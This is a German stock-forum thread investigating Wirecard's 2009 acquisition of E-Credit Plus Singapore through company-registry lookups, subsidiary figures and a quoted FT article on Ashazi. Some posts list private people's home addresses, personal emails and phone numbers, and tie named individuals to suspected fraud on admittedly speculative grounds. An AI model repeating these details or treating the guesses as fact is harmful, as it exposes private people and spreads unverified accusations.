      Wirecard Asia Pacific
      BDO Philipines
      BNU Macau
      B+S Germany


      Grasbrunn bei München, 17. Dezember 2009; Die Wirecard AG hat am 16. Dezember 2009 einen Kaufvertrag über den Erwerb der E-Credit Plus Pte. Ltd., Singapur, unterzeichnet. Es ist vorgesehen, dass die endgültige Anteilsübertragung (Closing) noch vor dem Übernahmestichtag am 1. Januar 2010 vollzogen wird. Die E-Credit-Gruppe, bestehend aus der E-Credit Plus Pte. Ltd. ('E-Credit') und ihren Tochtergesellschaften, ist im Bereich der Online-Zahlungsabwicklung vorwiegend für E-Commerce-Händler im ostasiatischen Raum tätig.

      Damit baut die Wirecard AG ihre, bereits mit der philippinischen Tochtergesellschaft Wirecard Asia Pacific, bestehende Präsenz in Ost-Asien aus. Markus Braun, Vorstandsvorsitzender der Wirecard AG kommentiert: 'Mit dem Erwerb der E-Credit setzen wir unsere Expansion im asiatischen Raum fort. Für das operative Geschäft in Asien erwarten wir Synergieeffekte im Konzern.'


      Hier stimmt wieder alles - nur findet man wieder keine Aktivität
      2008 wurde die E-Credit Plus Pte. Limited [138 Robinson Road, #17-00 Corporate Office, The, Sg, Singapore, 068906 ] übrigens Direktorin - und zwar ín UK
      einer E-CREDENCE (UK) Limited
      (ehemals E-CREDIT PLUS UK LIMITED, aber nur kurz)

      Im Juni 2009 wurden Robert Frank Lock und Kennedy Jayaprakas Direktoren
      Robert Frank Lock ~[Marane]--> Blk 5, Lot 15 Bfmartinville Subdivision, Paranaque, 1770, Philippines (via INT. PACIFIC SALES Ltd)

      Im Juni 2010 wurde die Firma schlafen gelegt
      Im April 2016 traten die Direktoren der schlafenden Firma zurück
      der neue Direktor seit April 2016 ist Yoshio Tomiie
      [W501, West Wing Metropolitan Square, Jalan Pju 8/1, Bandar Damansara Perdana, Petaling Jaya Selangor, Malaysia, 47801]

      [beachte: Flowers&Gifts --> ???@jigajig]

      Der Secretary ist "Small Firms Secretary Services".

      denselben Secretary haben eine überschaubare Anzahl von Firmen, u.a.
      GKASH UK (Beng Chee Chong, Singapore)
      Address:Unit 1010,
      Miramar Tower,
      132 Nathan Road,
      Tsim Sha Tsui,
      Kowloon
      City:Hong Kong
      Phone:+852-8193 0711
      Email:info@gkash.com


      MUNDO FINANCE
      [unklar, gibt eine Panamafirma dazu
      https://opencorporates.com/companies/pa/353987
      der Director könnte aus Costa Rica stammen]

      ICOMMUNICATE (DIRECT) LTD
      director: BARRY SAUNDERS
      [wahrscheinlich Tippfehler, BARRY SANDERS ist eine gut vernetzte Person der europäischen Mehrwertszene --> "Premium Services Old Boy's Group", Telemedia, --> Coulomb, gibt in Profil als Firma "icommunicate" an]

      und MARK GEORGE FAFALIOS (--> Tellcom, dort wieder Temple Secretaries --> Barbara Kahan, s.a.a.O.)
      https://goo.gl/WzOC1c


      BS PAYMENT UK
      https://beta.companieshouse.gov.uk/company/06710850/officers
      BS = B+S???

      directors:

      BS PAYMENT SINGAPORE PTE LTD
      Correspondence address
      5-12-11-301, Shinjyuku, Shinjyuku-Ku, Tokyo, Japan, JAPAN

      KOICHI TAMAI
      https://goo.gl/xy5VfZ

      damit schließt sich der Kreis wieder, denn Dan McCrum schrieb bereits in "The strange case of Ashazi, Wirecard in Bahrain, via Singapore"

      E-Credit Plus and a five-headed reseller

      Wirecard purchased E-Credit Plus for €10.3m, plus future “earn-out” payments of €2.5m, on December 28, 2009.

      What might be considered unusual is that ownership of the company changed hands three times in the two months before the sale, according to Singapore filings. In November BS Payment Singapore Pte Ltd sold to Kennedy Jayaprakas J M Aime, a Malaysian individual listed as a director of E-Credit. Ownership then passed to Credence Collection Singapore Pte Ltd, on to the Malaysian Commerce Connecting Pte Ltd, then finally to Wirecard.

      The company said, “before the transaction there were changes in ownership which were in good order with respect to the purchase of the company. The background of the transactions is a matter solely concerning the former owners.”

      (Bitte UNBEDINGT den kompletten Artikel lesen, wer es VERSTEHEN will!!!)
      (Da taucht auch Dietmar Knöchelmann wieder auf)

      Zu allem Überfluß gibt es in UK auch noch eine
      E-CREDIT PLUS LIMITED
      https://beta.companieshouse.gov.uk/company/06383647
      ehemals SILVERGROVE Ltd

      vielleicht die spannendste Firma, aber ich bin zu müde
      lauter Amerikaner

      John William Giesen --> Sigue Global [coinstar]

      http://www.reuters.com/article/italy-moneylaundering-idUSL6N…
      2014
      Italy police break up international money laundering ring in Rome
      (...)
      * More than 1 billion euros laundered in two years - police
      * Most cash shipped to China - police
      * Manager says company not involved in criminal activity
      (...)
      Italian finance police on Wednesday arrested 17 people accused of running an international money laundering ring through a British-based money transfer services company which was used to shuttle illegal proceeds abroad, mostly to China.
      (...)
      A man who identified himself as a manager at Sigue's British headquarters said the company's branches in 50 countries operated independently and local owners signed contracts pledging to respect money laundering laws.
      Sigue "is not involved in any criminal activity", said the manager, who spoke on condition of anonymity because he said he was not authorised to speak to the media.

      -->
      http://www.bloomberg.com/research/stocks/private/snapshot.as…
      -->
      http://www.bloomberg.com/research/stocks/private/person.asp?…
      Bhairav Surendra Trivedi
      Network International LLC
      Dubai

      ~Moneygram
      ~ Sigue Deutschland
      https://www.moneyhouse.de/Vito-Tassone

      Network International
      Brian Quarrie, EVP Sales and Client
      Development
      brianqu@network.ae
      Network International LLC
      PO Box 4487, Dubai,
      United Arab Emirates. Corporate Office
      (Dubai)
      Telephone: +971 4 3032431


      --> google telefonnummer
      https://goo.gl/w88XWx

      --> FIRST DATA
      https://goo.gl/4ykA1D


      E-CREDIT PLUS ist der Anbieter der YESCARD
      https://theyescard.co.uk/contact.html




      Lustige Randnotiz:
      In Indien gibt es eine Firma "EBS" und die gehört zu Ingenico
      https://www.ebs.in/IPS/contact-us
      Avatar
      schrieb am 24.04.16 01:54:17
      Beitrag Nr. 41 ()
      Das war die Mail der Wirecard, die an "sell side"-Leute geschickt wurde

      8. Wirecard has never acquired Asia Pacific E-Serv Corporation (aspaconline).
      Wirecard Asia Pacific, Philippines was a newly established company in 2007 and
      was dissolved in 2012.
      Mr Magleo's incorrect CV was updated on the website of Paynamics, Philippines.
      Mrs Magleo headed the finance department of Wirecard Asia Pacific, Inc. during its
      time of operation. She was not involved in any legal cases involving Wirecard or her
      past activities as an officer of a subsidiary of Wirecard.


      Es gab eine Wirecard Asia Pacific Pte Ltd in Singapur
      http://www.bloomberg.com/research/stocks/private/snapshot.as…
      www.ecreditsing.com

      2009 archiviert (Plex Standardseite)
      2014 "Forbidden You don't have permission to access / on this server."

      aber wer sucht, der findet
      (2010)
      CORPORATE PROFILE
      Company Name: E-CREDIT PLUS SINGAPORE PTE LTD
      Established: 2005

      Head Office: #17-00 THE CORPORATE OFFICE
      138 ROBINSON ROAD
      SINGAPORE 068998
      General: +65 6747 0165
      Fax: + 65 6748 8963
      Corporate Site: http://www.ecreditsing.com

      Business Segments: Web Infrastructure & E-commerce Internet Media

      Affiliations: IA Japan - Internet Association Japan
      ICANN - Internet Corporation for Assigned Names and Numbers
      JAIPA - Japan Internet Providers Association
      JIAA - Japan Internet Advertising Association
      JPNIC - Japan Network Information Center

      Trading Banks: DBS Bank Limited Singapore
      UOB Bank Limited Singapore
      American Express Singapore
      Wirecard Asia Pacific
      BDO Philipines
      BNU Macau
      B+S Germany


      Grasbrunn bei München, 17. Dezember 2009; Die Wirecard AG hat am 16. Dezember 2009 einen Kaufvertrag über den Erwerb der E-Credit Plus Pte. Ltd., Singapur, unterzeichnet. Es ist vorgesehen, dass die endgültige Anteilsübertragung (Closing) noch vor dem Übernahmestichtag am 1. Januar 2010 vollzogen wird. Die E-Credit-Gruppe, bestehend aus der E-Credit Plus Pte. Ltd. ('E-Credit') und ihren Tochtergesellschaften, ist im Bereich der Online-Zahlungsabwicklung vorwiegend für E-Commerce-Händler im ostasiatischen Raum tätig.

      Damit baut die Wirecard AG ihre, bereits mit der philippinischen Tochtergesellschaft Wirecard Asia Pacific, bestehende Präsenz in Ost-Asien aus. Markus Braun, Vorstandsvorsitzender der Wirecard AG kommentiert: 'Mit dem Erwerb der E-Credit setzen wir unsere Expansion im asiatischen Raum fort. Für das operative Geschäft in Asien erwarten wir Synergieeffekte im Konzern.'


      Hier stimmt wieder alles - nur findet man wieder keine Aktivität
      2008 wurde die E-Credit Plus Pte. Limited [138 Robinson Road, #17-00 Corporate Office, The, Sg, Singapore, 068906 ] übrigens Direktorin - und zwar ín UK
      einer E-CREDENCE (UK) Limited
      (ehemals E-CREDIT PLUS UK LIMITED, aber nur kurz)

      Im Juni 2009 wurden Robert Frank Lock und Kennedy Jayaprakas Direktoren
      Robert Frank Lock ~[Marane]--> Blk 5, Lot 15 Bfmartinville Subdivision, Paranaque, 1770, Philippines (via INT. PACIFIC SALES Ltd)

      Im Juni 2010 wurde die Firma schlafen gelegt
      Im April 2016 traten die Direktoren der schlafenden Firma zurück
      der neue Direktor seit April 2016 ist Yoshio Tomiie
      [W501, West Wing Metropolitan Square, Jalan Pju 8/1, Bandar Damansara Perdana, Petaling Jaya Selangor, Malaysia, 47801]

      [beachte: Flowers&Gifts --> ???@jigajig]

      Der Secretary ist "Small Firms Secretary Services".

      denselben Secretary haben eine überschaubare Anzahl von Firmen, u.a.
      GKASH UK (Beng Chee Chong, Singapore)
      Address:Unit 1010,
      Miramar Tower,
      132 Nathan Road,
      Tsim Sha Tsui,
      Kowloon
      City:Hong Kong
      Phone:+852-8193 0711
      Email:info@gkash.com


      MUNDO FINANCE
      [unklar, gibt eine Panamafirma dazu
      https://opencorporates.com/companies/pa/353987
      der Director könnte aus Costa Rica stammen]

      ICOMMUNICATE (DIRECT) LTD
      director: BARRY SAUNDERS
      [wahrscheinlich Tippfehler, BARRY SANDERS ist eine gut vernetzte Person der europäischen Mehrwertszene --> "Premium Services Old Boy's Group", Telemedia, --> Coulomb, gibt in Profil als Firma "icommunicate" an]

      und MARK GEORGE FAFALIOS (--> Tellcom, dort wieder Temple Secretaries --> Barbara Kahan, s.a.a.O.)
      https://goo.gl/WzOC1c


      BS PAYMENT UK
      https://beta.companieshouse.gov.uk/company/06710850/officers
      BS = B+S???

      directors:

      BS PAYMENT SINGAPORE PTE LTD
      Correspondence address
      5-12-11-301, Shinjyuku, Shinjyuku-Ku, Tokyo, Japan, JAPAN

      KOICHI TAMAI
      https://goo.gl/xy5VfZ

      damit schließt sich der Kreis wieder, denn Dan McCrum schrieb bereits in "The strange case of Ashazi, Wirecard in Bahrain, via Singapore"

      E-Credit Plus and a five-headed reseller

      Wirecard purchased E-Credit Plus for €10.3m, plus future “earn-out” payments of €2.5m, on December 28, 2009.

      What might be considered unusual is that ownership of the company changed hands three times in the two months before the sale, according to Singapore filings. In November BS Payment Singapore Pte Ltd sold to Kennedy Jayaprakas J M Aime, a Malaysian individual listed as a director of E-Credit. Ownership then passed to Credence Collection Singapore Pte Ltd, on to the Malaysian Commerce Connecting Pte Ltd, then finally to Wirecard.

      The company said, “before the transaction there were changes in ownership which were in good order with respect to the purchase of the company. The background of the transactions is a matter solely concerning the former owners.”

      (Bitte UNBEDINGT den kompletten Artikel lesen, wer es VERSTEHEN will!!!)
      (Da taucht auch Dietmar Knöchelmann wieder auf)

      Zu allem Überfluß gibt es in UK auch noch eine
      E-CREDIT PLUS LIMITED
      https://beta.companieshouse.gov.uk/company/06383647
      ehemals SILVERGROVE Ltd

      vielleicht die spannendste Firma, aber ich bin zu müde
      lauter Amerikaner

      John William Giesen --> Sigue Global [coinstar]

      http://www.reuters.com/article/italy-moneylaundering-idUSL6N…
      2014
      Italy police break up international money laundering ring in Rome
      (...)
      * More than 1 billion euros laundered in two years - police
      * Most cash shipped to China - police
      * Manager says company not involved in criminal activity
      (...)
      Italian finance police on Wednesday arrested 17 people accused of running an international money laundering ring through a British-based money transfer services company which was used to shuttle illegal proceeds abroad, mostly to China.
      (...)
      A man who identified himself as a manager at Sigue's British headquarters said the company's branches in 50 countries operated independently and local owners signed contracts pledging to respect money laundering laws.
      Sigue "is not involved in any criminal activity", said the manager, who spoke on condition of anonymity because he said he was not authorised to speak to the media.

      -->
      http://www.bloomberg.com/research/stocks/private/snapshot.as…
      -->
      http://www.bloomberg.com/research/stocks/private/person.asp?…
      Bhairav Surendra Trivedi
      Network International LLC
      Dubai

      ~Moneygram
      ~ Sigue Deutschland
      https://www.moneyhouse.de/Vito-Tassone

      Network International
      Brian Quarrie, EVP Sales and Client
      Development
      brianqu@network.ae
      Network International LLC
      PO Box 4487, Dubai,
      United Arab Emirates. Corporate Office
      (Dubai)
      Telephone: +971 4 3032431


      --> google telefonnummer
      https://goo.gl/w88XWx

      --> FIRST DATA
      https://goo.gl/4ykA1D


      E-CREDIT PLUS ist der Anbieter der YESCARD
      https://theyescard.co.uk/contact.html




      Lustige Randnotiz:
      In Indien gibt es eine Firma "EBS" und die gehört zu Ingenico
      https://www.ebs.in/IPS/contact-us
      Avatar
      schrieb am 24.04.16 02:29:06
      Beitrag Nr. 42 ()
      Alles gut, steht alles brav in den Geschäftsberichten
      hier: 2009

      Click2Pay GmbH, Grasbrunn (Deutschland) 100% 25.000,00 *619.177,91
      InfoGenie Ltd., Windsor (Großbritannien) 100% -433,38 -76.571,68
      Wirecard (Gibraltar) Ltd., (Gibraltar) 100% 42.340.955,36 12.334.050,65
      Oval (2123) Ltd., Bristol (Großbritannien) 49% -2.207,16 -2.010,10
      Trustpay International AG, Grasbrunn (Deutschland) 100% 22.508.265,91 15.813.099,68
      Wirecard Payment Solutions Holdings Ltd., Dublin (Irland)*** 100% 20.308.105,42 15.695.045,55
      Qenta paymentsolutions Beratungs- und Informations GmbH, Klagenfurt
      (Österreich) 100% 235.899,30 143.876,00
      webcommunication EDV Dienstleistungs und Entwicklungs GmbH, Graz
      (Österreich) 100% 39.484,62 137.663,38
      Wirecard Technologies AG, Grasbrunn (Deutschland) 100% 6.771.472,79 *7.833.833,31
      Wirecard Communication Services GmbH, Leipzig (Deutschland) 100% 221.315,39 36.807,42
      Wirecard Retail Services GmbH, Grasbrunn (Deutschland) 100% 459.267,49 -174.450,90
      cardSystems FZ-LLC, Dubai (Vereinigte Arabische Emirate) 100% 58.731,39 636.729,48
      Pro Card Kartensysteme GmbH, Grasbrunn (Deutschland) 100% -20.250,10 -60.380,87
      Wire Card Beteiligungs GmbH, Grasbrunn (Deutschland) 100% -1.651.997,59 -445.856,82
      Wirecard Bank AG, Grasbrunn (Deutschland) 100% 44.048.393,87 17.601.719,85
      Wire Card ESP S.L., Palma d Mallorca (Spanien) 100% -50.916,37 -75.611,06
      Paysys Inc. (vormals Wire Card Inc.), Sacramento, Kalifornien (USA 100% 3.806,00 0,00
      Paysys Ltd,. Port-Louis (Mauritius) 100% **-13.767,00 **-13.867,00
      PAYShield Services GmbH, Grasbrunn (Deutschland) 100% 14.807,75 -7.233,79
      Wirecard Asia Pacific Inc., Manila (Philippinen) 100% 60.739,70 5.111,06
      E-Credit Plus Pte Ltd. (Singapur) 100% 267.830,00 -2.830,00
      E-Payment Singapore Pte Ltd. (Singapur) 100% -277.890,00 245.659,00
      Infotop Singapore Pte Ltd. (Singapur) 100% 219.519,00 170.842,00
      Credence Macau Pte Ltd. (Macau) 100% 202.564,00 182.338,00
      Manboo UK Ltd. (Großbritannien) 100% 1.111,11 0,00
      E-Credence Plus UK Ltd. (Großbritannien) 100% 1.111,11 0,00
      E-Credit Plus Corp. (Philippinen) 100% 574.340,00 571.355,00
      Credence Collection SDN BHD (Malaysia) 100% -9.015,00 5.456,00
      * nach Gewinnabführungsvertrag EUR 0,00; ** Zahlen aus 2005; *** Teilkonzern
      Avatar
      schrieb am 24.04.16 03:57:03
      Beitrag Nr. 43 ()
      E-CREDIT PLUS und Dietmar Knöchelmann (vua Dan Mc Crum)

      E-Credit Plus and a five-headed reseller

      Wirecard purchased E-Credit Plus for €10.3m, plus future “earn-out” payments of €2.5m, on December 28, 2009.

      What might be considered unusual is that ownership of the company changed hands three times in the two months before the sale, according to Singapore filings. In November BS Payment Singapore Pte Ltd sold to Kennedy Jayaprakas J M Aime, a Malaysian individual listed as a director of E-Credit. Ownership then passed to Credence Collection Singapore Pte Ltd, on to the Malaysian Commerce Connecting Pte Ltd, then finally to Wirecard.

      The company said, “before the transaction there were changes in ownership which were in good order with respect to the purchase of the company. The background of the transactions is a matter solely concerning the former owners.”

      In 2010 the audit opinion for E-Credit was qualified due to problems verifying the validity of “gateway fees” from a subsidiary, Infotop Singapore.



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      The strange case of Ashazi: Wirecard in Bahrain, via Singapore
      Dan McCrum

      | May 05 2015 10:10 | 3 comments | Share
      Part of the House of Wirecard series

      Ashazi Services, a Bahrain-based electronic payments company, moved from place to place in the Gulf Kingdom. For a time it was based in managed office space in one of the gleaming towers of Manama’s prestigious diplomatic area, but also small apartments far from the centre.

      In early 2011, however, Ashazi’s address was the office of its lawyer, Kumail Al Alawi, found above a side alley tucked between an outpost of Kentucky Fried Chicken and a car rental office.

      So what sort of company was it? The question matters because in 2011 the Bahrain start-up was responsible for €4m per year of licence fee revenues reported by Wirecard, the German listed payments company. Ashazi Services Co WLL is one of the dormant companies leading back to E-Credit Plus Singapore, the first business purchased in Wirecard’s long Asian acquisition spree.

      Wirecard is a German-listed tech company worth €4.8bn, and a stock market rocket whose shares have risen eightfold in the last six years. It owns a bank and listed in Frankfurt through the 2005 reverse takeover of a defunct call centre operator. And, as outlined in our first post on the matter, the company presents a puzzle.

      Since 2009 the company has struck a string of deals, often involving struggling companies, to buy customers for its payment services. Wirecard structured some of those deals in unusual ways, and has raised half a billion euros from investors to keep spending. The tactics prompt questions about what was bought, the nature of its growth and the value of €670m of intangible assets on the balance sheet.

      Wirecard said:

      In addition to a strong organic growth story in Europe, Wirecard started in 2009 a very successful expansion strategy into Asia. This expansion strategy is focusing on a “buy and build” strategy. By M&A Wirecard buys into local payment companies which are small in international terms but have local strengths, Wirecard contributes its international expertise and business is developed on a synergetic basis.

      The Asian expansion began with Singapore-based E-Credit Plus PTE ltd. This post is a look at that deal, and some of the company’s customers.

      Searching for Ashazi

      We visited Mr Al Alawi at his new office by a highway, the neighbouring buildings under construction. A bookshelf was filled with thick ring binders named for different clients, but the slim black folder marked “Ashazi Services” the lawyer pulled down held only a handful of documents. Nasreen Sururi, Ashazi’s, owner and managing director, would be better placed to talk about the company, he suggested.

      Ms Sururi started Ashazi in 2009 with minimal capital, according to the Bahrain Ministry of Industry and Commerce, which shows no record of annual financial statements filed since. In December 2011, discussing her nomination for an award at the Abu Dhabi Women In Leadership forum, she told Bahrain This Month her company had “operations in Bahrain, Kuwait and the United Kingdom, and endeavours to maintain a growing global network of partners worldwide”.

      According to Companies House, Ashazi Services (UK) ltd was a dormant entity, since dissolved. It was owned by an Isle of Man company controlled by accountants based in the Channel Islands.

      As for the global partners, in January 2012 Ashazi issued a press release announcing a strategic partnership agreement with hSenid Software International, a Sri Lankan company with offices around the world. “Under the terms of the agreement Ashazi will become the exclusive partner and agent for hSenid’s products in the Kingdom of Bahrain and will integrate its mobile payment products with hSenid’s mobile platform.” Another release in March elaborated on the collaboration.

      However Dinesh Saparamadu, hSenid’s chief executive, had never heard of Ashazi before we asked, and said his company anyway did not have an exclusive partner and agent for Bahrain. “We haven’t done any work with this company and we don’t have any partnership with them.”

      Ashazi’s website, now for sale, appears to have been short lived in fully functional state, according to the Internet Archive. An October 2010 snapshot of the website, the earliest available, appears to show a site under construction.

      A valuable Wirecard customer

      From August 2010 Wirecard began licensing software to Ashazi at a cost of €1m per quarter, according to accounts filed in Singapore by E-Credit Plus. A note to the accounts said the software was provided by Wirecard, passing through at no profit to the Singapore entity.

      Did Ashazi pay those bills? At the end of the year E-Credit Plus reported licence fee receivables — sales recognised, but where cash is yet to be collected from customers — of S$3.5m (€2m).

      The following year E-Credit Plus, renamed Wirecard Asia Pte ltd, reported licence fee income of S$7.2m ($4m), and licence fee receivables of S$6.1m (€3.6m). The high level of uncollected cash prompted the local audit firm to offer a qualified opinion on the accounts, issued June 15 2012.

      For 2012 the auditor was changed to the local branch of Ernst & Young, and licence fee revenues were shifted to another subsidiary, E-Payment Singapore, also audited by E&Y. The 2012 accounts for E-Payment Singapore show revenues of $7.2m, licence fee income of S$6.4m, and trade receivables of $6.5m.

      When we first reached Ms Sururi, we asked if she recalled the agreement with E-Credit.

      “No, [pause] no”, she said. “I cannot recall anything. As you say, I cannot recall what I had for lunch. Literally I forget everything in my files.”

      “I had a partner in the company and he used to agree all the contracts”, she said. “I was running the company more on the management and marketing side”. She asked to be sent details of the agreement by email.

      Wirecard said:

      Ashazi was a well-financed company backed by strong shareholder commitments that intended to build up a regional player in the middle-east. They struck a 3 years licensing agreement that was based on using Wirecard platform on a white label SaaS (Software as a Service) basis. Such a licensing agreement classically consists of a minimum transaction volume they pay for covering the minimum costs to run such a platform and a variable per transaction fee above that. The EUR 12mn were an aggregate projection based on their business plan. Of course in the financial statements only the annual amount was included that they had to pay. This was an aggregated amount of about two third (around EUR 8mn) of the initially forecasted amount. Ashazi fully honored their commitments and we have no open balance with this company.

      Christopher Bauer, a German businessman with experience at payments companies, was also involved at Ashazi Services for 8 months in 2011. He said the company was “in the development stage, definitely” when he joined in January that year, with a small number of employees trying to win new clients. He said there was a licence bought for a payment gateway, “but it was before my time”. He said, “I was more on the PR and marketing side” and “most of the time it was her who did the work”.

      Mr Bauer’s previous company, the Philippines based PayEasy Solutions International, had employed as chief operating officer James Bergman, former chief executive of the Aim-listed money transfer group Earthport. Mr Bergman said Ashazi “had more than two or three staff, it wasn’t just a one man band working out of a bedroom.” He said Ms Sururi was “a very intelligent lady. She was an impressive young female entrepreneur with a lot of drive.”

      Ms Sururi said, via email:

      I am a well-known and reputable businesswoman and entrepreneur in Bahrain, and I am looking back on a successful career of more than 10 years in the payments industry…

      Ashazi was at all times managed and operated in full compliance with the laws and regulations of Bahrain. The UK branch was founded with the intention to obtain a payment institution license under the British Financial Conduct Authority (FCA) although eventually it did not become operational.

      Ashazi has written proof of hSenid’s partnership with and I am surprised by your claim that a senior official of hSenid allegedly does not remember the cooperation between the two companies. In any event, I am not obliged to and will not provide you with confidential business information related to past commercial dealings with any of Ashazi’s business partners.

      In relation to E-Credit, we would advise you to refer any questions related to E-Credit to representatives of E-Credit.

      Ms Sururi’s Linked-In profile now describes her occupation as a TV presenter and actress since 2008. Bait Shazi Trading Co WLL, her new company registered in 2012, is an events business.

      E-Credit Plus and a five-headed reseller

      Wirecard purchased E-Credit Plus for €10.3m, plus future “earn-out” payments of €2.5m, on December 28, 2009.

      What might be considered unusual is that ownership of the company changed hands three times in the two months before the sale, according to Singapore filings. In November BS Payment Singapore Pte Ltd sold to Kennedy Jayaprakas J M Aime, a Malaysian individual listed as a director of E-Credit. Ownership then passed to Credence Collection Singapore Pte Ltd, on to the Malaysian Commerce Connecting Pte Ltd, then finally to Wirecard.

      The company said, “before the transaction there were changes in ownership which were in good order with respect to the purchase of the company. The background of the transactions is a matter solely concerning the former owners.”

      In 2010 the audit opinion for E-Credit was qualified due to problems verifying the validity of “gateway fees” from a subsidiary, Infotop Singapore.

      Infotop was one of five resellers listed in note 14 to the E-Credit accounts detailing “Gateway Fees”:

      In 2010 the company has entered into ECP Relationship Management Partner Agreement with Ugrand Universal Limited, Infotop Singapore Pte Ltd, Credence Macau Ltd, Manboo UK Limited, and E-Credence UK Limited (Reseller).

      E-Credit reported S$1.3m in gateway fees for 2010, compared to zero in 2009.

      What might be considered odd is at the start of the year four of those so-called resellers for Wirecard were owned by Wirecard. A German filing lists them as subsidiaries.

      The two UK entities, Manboo and E-Credence UK, were dormant, according to Companies House.

      By the end of 2010 all four resellers were owned by the fifth, the Hong Kong registered Ugrand Universal.

      In 2013 Deitmar Knoechelmann, a former director of Wirecard subsidiaries, became a 50 per cent owner of Ugrand, according to Hong Kong filings.

      Wirecard said Ugrand is an external independent company and the four subsidiaries were not related parties. It said, “for HGB (German local GAAP) the legal ownership is relevant, while for IFRS the control is relevant, which was not taken over by Wirecard Group. The business background was that as part of the consolidation of the heterogeneous structure of E-credit we did not intend to take over these companies.”


      http://ftalphaville.ft.com/files/2015/05/Ugrand-Universal-AR…

      Knöchelmann
      http://ftalphaville.ft.com/files/2015/05/Ugrand-Universal-di…
      Avatar
      schrieb am 24.04.16 14:15:34
      Beitrag Nr. 44 ()
      Zitat von XXX: Ich habe am vergangenen Wochenende in XXX ein (oder sogar zwei?) riesige 3*4-Meter große Love.de-Werbeplakate gesehen; Du kannst ja mal nachschauen, wer dort der Verantwortliche ist, und nachforschen, wer die aufgehängt hat

      du liest mich erzürnt... Du warst in XXX und kamst nicht auf einen Kaffee vorbei (dabei bist Du fast an meiner Haustüre vorbei gefahren). Grrr ;)
      ich kenne das Plakat, auf dem Weg in die Arbeit kam ich dran vorbei...
      über einer Plakatwand, die ich sah (könnte "dein" Plakat gewesen sein, Ecke xxx/xxx-Str glaube ich, gleich neben dem Puff ;) ) stand "XXXXX", auf dem Plakat XXXXXX.com
      (früher stand da meines Wissens STROER drauf,
      Ströer
      Out-of-Home Media GmbH
      Zentrale Köln
      Wesselinger Str. 22-30
      D-50 999 Köln)

      mir fiel das immer auf, weil es eine Band diesen Namens gab, von der ich mal eine ziemlich beschissene LP hatte ;)

      Unter dem Codenamen "Scheißplatte" haben Verbraucherschützer im Dezember 2004 und Januar 2005 begonnen, die Inhalte von STROEER-Plakatwänden zu analysieren.

      Das stand in Zusammenhang mit Ermittlungen zu einem der größten Dialerprozesse in Deutschland (was stroeer angeht so entfernt, da gibt es, was das angeht, ganz andere Zusammenhänge).

      Über den Dialerbetrug wurde in diversen Medien berichtet und viele Leute haben schlaue Dinge dazu gesagt (Heiseforum!!!)
      Hier aber ein anderes Exempel:
      http://www.golem.de/0504/37732.html
      bitte mal ganz runterscrollen und schauen, wer da kommentiert. A.I. von der net-mobile AG :)
      Öffentliche Artikel zu Dialerbetrug wurden immer schon von interessanten Leuten kommentiert. Als es um Dialer der EBS ging, war das genauso. Damals schrieben halt Abmahnanwälte, die sich später erschossen haben, heutige FDP-Politiker, die mit Morddrohungen zu kämpfen haben, wenn sie nicht gerade Datenskandale aufdecken oder Abmahnanwälte, die später bei Dotcomtod auftauchten.
      Der Kampf der "seriösen Geschäftsleute" gegen naive Gutmenschen wurde jahrelang geführt und die Heftigkeit der Diskussion grenzte teilweise schon an virtuelle Schlägereien (DDos, Verleumdungsklagen, Intrigen).
      Die öffentlichen Vertreter der Dialerlobby wiederum sind und waren (auch?) gar nicht so weit weg von Themen um die Wirecard. Damals, in grauer Vorzeit. Hoppla, Mist, hier geht's ja um stroeer. Ich komm schon wieder durcheinander.

      Um Stroeer kümmert sich aber Muddy Waters - und die sind öffentlich. Insofern kein Handlungsbedarf. Naja, eine kleine Mail an Muddywaters vielleicht :)
      Avatar
      schrieb am 24.04.16 14:36:09
      Beitrag Nr. 45 ()
      Avatar
      schrieb am 24.04.16 16:25:51
      Beitrag Nr. 46 ()
      andere Geschichte
      Nachdem die Gebäude von Wirecard und NetApp seit 4 Jahren leerstehen würde ich es gut finden, dort Unterkünfte für die Asylbewerber einzurichten. Offensichtlich sind diese Gebäude für eine Weitervermietung an Firmen nicht mehr interessant.

      http://www.bürger-für-grasbrunn.de/umfrage-zukunft-bolzplatz/

      Man könnte dort ein Museum einrichten :)
      Avatar
      schrieb am 24.04.16 18:27:15
      Beitrag Nr. 47 ()
      DD@divine e-serve

      Administrative Contact:
      Pritesh, Shah Email Masking nikhilvisaria@gmail.com
      6/78 Sanjay Milan Garodiya
      Ghatkopar -east
      Mumbai, mh 400077
      IN
      +91.9819634263 Fax: +91.9819634263


      https://www.zaubacorp.com/directorsearchresults/pritesh-shah…

      Nikhil Visaria (siehe Mailadresse)
      Grafikdesigner, kennt laut LinkedIn Leute bei mehreren Banken
      Nikhil Visaria

      Locality: Mumbai Area, India
      Summary: Independent Graphic Design Professional
      Interests: career opportunities, consulting offers, new ventures, job inquiries, expertise requests, business deals, reference requests, getting back in touch
      More info at:http://radaris.in/p/Nikhil/Visaria/


      Please visit us again
      Contact Us
      53, Laxmi Bhuvan, S.V.Road, Borivali - west. Mumbai -400066. India
      Email : nikhilvisaria@gmail.com / info@heightscreative.in


      postete im September 2015 werbung für snapdeal
      https://en-gb.facebook.com/PanjoKutch.in/posts/1107378645958…

      s.a.
      http://website.informer.com/email/nikhilvisaria@gmail.com
      http://domainbigdata.com/email/nikhilvisaria@gmail.com
      --------------------


      PRITESH SHAH

      https://www.zaubacorp.com/directorsearchresults/pritesh-shah…

      pritesh shah (unter der vorläufigen Annahme, dass er nicht auch unter anderem Namen registriert ist)

      https://www.zaubacorp.com/company/RAJ-VIMAL-FINANCIAL-CONSUL…


      https://www.zaubacorp.com/company/NAYANALIN-CHEMICALS-PRIVAT…

      https://www.zaubacorp.com/company/NAYANARAJ-PROPERTY-INVESTM…

      RAJ-VIMAL FINANCIAL CONSULTANCY PRIVATE LIMITED
      NAYANARAJ PROPERTY INVESTMENT AND SOLUTION PRIVATE LIMITED
      NAYANALIN CHEMICALS PRIVATE LIMITED

      Email ID: rajesh_fca@hotmail.com
      C-314 KAILASH ESPLANDE 3RD FLOOR OPP SHREYAS CINEMA L B S MARG GHATKOPAR WEST MUMBAI MH 400086 IN


      https://www.zaubacorp.com/company/NAYANARAJ-PROPERTY-INVESTM…

      https://www.zaubacorp.com/company/PREMISES-LEASING-ATLADARA-…

      da wird es schnell uferlos
      Avatar
      schrieb am 24.04.16 19:05:28
      Beitrag Nr. 48 ()
      MR.SANKARANARAYANAN RAMAKRISHNAN CHIEF EXECUTIVE OFFICER HERMES I TICKETS PRIVATE LIMITED GV.COMPLEX, 32/20 RAILWAY COLONY 3RD STREET, AMINJIKARAI CHENNAI - 600029 914442974300, 9940199664 SHANKY51@GMAIL.COM

